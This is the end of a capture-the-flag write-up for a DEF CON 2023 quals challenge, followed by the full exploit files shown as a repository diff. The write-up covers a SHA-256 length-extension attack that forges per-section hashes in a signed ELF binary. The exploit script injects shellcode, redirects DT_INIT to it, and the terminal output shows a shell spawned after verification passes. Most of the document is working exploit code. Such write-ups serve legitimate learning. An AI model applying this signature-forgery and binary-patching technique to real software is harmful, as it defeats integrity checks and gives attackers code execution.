dyn_extension, new_dyn_hash = hash_extend(len(pltgot_data) + len("sXXYY") + key_len,
pltgot_hash, dynamic_data)
dyn_extension = pltgot_data + dyn_extension
```
add the trailing padding to bring it back to the original length of `.dynamic`
```python
padding_len = dynamic_len - len(dyn_extension)
dyn_extension, new_dyn_hash = hash_extend(len(pltgot_data) + len("sXXYY") + key_len,
pltgot_hash,
dynamic_data + b"\x00"*padding_len)
dyn_extension = pltgot_data + dyn_extension
```
at this point, if we inspect the data, this is what it looks like
```
00000000 ff 25 a2 2f 00 00 66 90 00 00 00 00 00 00 00 00 │·%·/│··f·│····│····│
00000010 80 00 00 00 00 00 00 00 00 00 00 01 98 00 00 00 │····│····│····│····│
00000020 01 00 00 00 00 00 00 00 2c 00 00 00 00 00 00 00 │····│····│,···│····│
00000030 0c 00 00 00 00 00 00 00 85 11 00 00 00 00 00 00 │····│····│····│····│
00000040 0d 00 00 00 00 00 00 00 68 11 00 00 00 00 00 00 │····│····│h···│····│
00000050 19 00 00 00 00 00 00 00 e8 3d 00 00 00 00 00 00 │····│····│·=··│····│
...
```
the first line is the transplanted `.plt.got` contents, which form a non-null ignored `Dyn` structure
the next line reflects the SHA-2 padding, size field, and our extra 3 bytes of padding. this also forms a non-null ignored `Dyn` structure
finally, we have the original `.dynamic` contents, including our modified `DT_INIT` entry (tag `0x0c` - on the fourth line)
this looks ready to go
```python
binary_contents[dynamic_off:dynamic_off+len(dyn_extension)] = dyn_extension
hashes[dynamic_idx + 3] = (f"{pltgot_idx+3}{pltgot_idx:02X}".encode() + b"\x00:"
+ binascii.hexlify(new_dyn_hash) + b"\n")
with open("./signed_binary_modified", "wb") as f:
f.write(binary_contents)
with open(hashes_file + "_modified", "wb") as f:
f.writelines(hashes)
```
let's try it out
```bash
$ ./verify test_key.txt signed_binary_modified test_hashes.txt_modified
Verifying binary...
Successfully verified binary!
sh-5.1$ echo lol hacked
lol hacked
sh-5.1$
```
we have code execution!
on the real target, you would have done this using the stock `hashes.txt` and then sent your modified binary and hashes to the server to pop a shell. then you would have read out the flag using the shell. you can try this yourself locally using the `key.bin` included in the NI source release
```python
modify_binary("hashes.txt")
```
```bash
$ ./verify key.bin signed_binary_modified hashes.txt_modified
Verifying binary...
Successfully verified binary!
sh-5.1$ echo lol hacked
lol hacked
sh-5.1$
```
## closing thoughts
during quals, this was a really interesting challenge because you're able to find the main bug (SHA-2 length extension) instantly, arguably before even reversing `verify` in-depth. but the road to having a successful exploit is long, and you need a secondary bug and a lot of additional tools along the way. it was honestly kind of frustrating that this challenge seemed to make it as hard as physically possible to exploit a really basic vulnerability. but overall, this was a fun challenge and it's very satisfying to finally crack it
```
:wq
```

BIN
2023/dcq/seedling.tar.gz Normal file

Binary file not shown.

View File

@ -0,0 +1,87 @@
from pwn import *
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.linux.sh())
import binascii, hashlib, struct
from elftools.elf.elffile import ELFFile
from sha2extend import *
def modify_binary(hashes_file="./test_hashes.txt"):
binary = ELFFile(open("./signed_binary", "rb"))
with open("./signed_binary", "rb") as f:
binary_contents = bytearray(f.read())
with open(hashes_file, "rb") as f:
hashes = [x for x in f]
key_len = 30
fini_idx = binary.get_section_index(".fini")
fini_off = binary.get_section(fini_idx).header.sh_offset
fini_end_off = binary.get_section(fini_idx + 1).header.sh_offset
fini_len = fini_end_off - fini_off
init_array_idx = binary.get_section_index(".init_array")
init_array_data = binary.get_section(init_array_idx).data()
init_array_hash = hashes[init_array_idx + 3].split(b":")[1].decode().strip()
fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len,
init_array_hash, shellcode)
fini_extension = init_array_data + fini_extension
pad_len = fini_len - len(fini_extension)
fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len,
init_array_hash, shellcode + (b"\x00" * pad_len))
fini_extension = init_array_data + fini_extension
binary_contents[fini_off:fini_off+len(fini_extension)] = fini_extension
hashes[fini_idx + 3] = (f"{init_array_idx+3}{init_array_idx:02X}".encode() + b"\x00:"
+ binascii.hexlify(new_fini_hash) + b"\n")
dynamic_idx = binary.get_section_index(".dynamic")
dynamic_off = binary.get_section(dynamic_idx).header.sh_offset
dynamic_data = bytearray(binary.get_section(dynamic_idx).data())
dynamic_len = len(dynamic_data)
for i in range(0, len(dynamic_data), 16):
if dynamic_data[i:i+16] == (b"\x00" * 16):
dynamic_data = dynamic_data[:i+16]
break
addr = binary.get_section(fini_idx).header.sh_addr + fini_extension.index(shellcode)
for i in range(0, len(dynamic_data), 16):
dyn = struct.unpack("<QQ", dynamic_data[i:i+16])
if dyn[0] == 0xc: # DT_INIT
dynamic_data[i+8:i+16] = struct.pack("<Q", addr)
break
dynamic_data = b"\x00\x00\x00" + dynamic_data
pltgot_idx = binary.get_section_index(".plt.got")
pltgot_data = binary_contents[binary.get_section(pltgot_idx).header.sh_offset:
binary.get_section(pltgot_idx+1).header.sh_offset]
pltgot_hash = hashes[pltgot_idx + 3].split(b":")[1].decode().strip()
dyn_extension, new_dyn_hash = hash_extend(len(pltgot_data) + len("sXXYY") + key_len,
pltgot_hash, dynamic_data)
dyn_extension = pltgot_data + dyn_extension
padding_len = dynamic_len - len(dyn_extension)
dyn_extension, new_dyn_hash = hash_extend(len(pltgot_data) + len("sXXYY") + key_len,
pltgot_hash,
dynamic_data + b"\x00"*padding_len)
dyn_extension = pltgot_data + dyn_extension
binary_contents[dynamic_off:dynamic_off+len(dyn_extension)] = dyn_extension
hashes[dynamic_idx + 3] = (f"{pltgot_idx+3}{pltgot_idx:02X}".encode() + b"\x00:"
+ binascii.hexlify(new_dyn_hash) + b"\n")
with open("./signed_binary_modified", "wb") as f:
f.write(binary_contents)
with open(hashes_file + "_modified", "wb") as f:
f.writelines(hashes)

38
2023/dcq/sha2extend.py Normal file
View File

@ -0,0 +1,38 @@
import binascii, ctypes, math, struct
class sha2_ctx(ctypes.Structure):
_fields_ = [("state", ctypes.c_uint32 * 8),
("count", ctypes.c_uint64),
("buf", ctypes.c_byte * 64)]
sodium = ctypes.CDLL("libsodium.so")
sodium.crypto_hash_sha256_init.argtypes = [ctypes.POINTER(sha2_ctx)]
sodium.crypto_hash_sha256_init.restype = ctypes.c_int
sodium.crypto_hash_sha256_update.argtypes = [ctypes.POINTER(sha2_ctx), ctypes.c_char_p,
ctypes.c_size_t]
sodium.crypto_hash_sha256_update.restype = ctypes.c_int
sodium.crypto_hash_sha256_final.argtypes = [ctypes.POINTER(sha2_ctx), ctypes.c_char_p]
sodium.crypto_hash_sha256_final.restype = ctypes.c_int
def hash_extend(orig_data_len, orig_hash, extend_data):
if isinstance(orig_hash, str):
orig_hash = binascii.unhexlify(orig_hash)
total_len = math.ceil((orig_data_len + 1 + 8) / 64) * 64
padding_len = total_len - orig_data_len - 1 - 8
padding = b"\x80" + (b"\x00" * padding_len) + struct.pack(">Q", orig_data_len*8)
ctx = sha2_ctx()
sodium.crypto_hash_sha256_init(ctx)
for i in range(8):
ctx.state[i] = struct.unpack(">I", orig_hash[i*4:(i+1)*4])[0]
ctx.count = total_len * 8
out_hash = ctypes.create_string_buffer(32)
sodium.crypto_hash_sha256_update(ctx, extend_data, len(extend_data))
sodium.crypto_hash_sha256_final(ctx, out_hash)
return padding + extend_data, bytes(out_hash)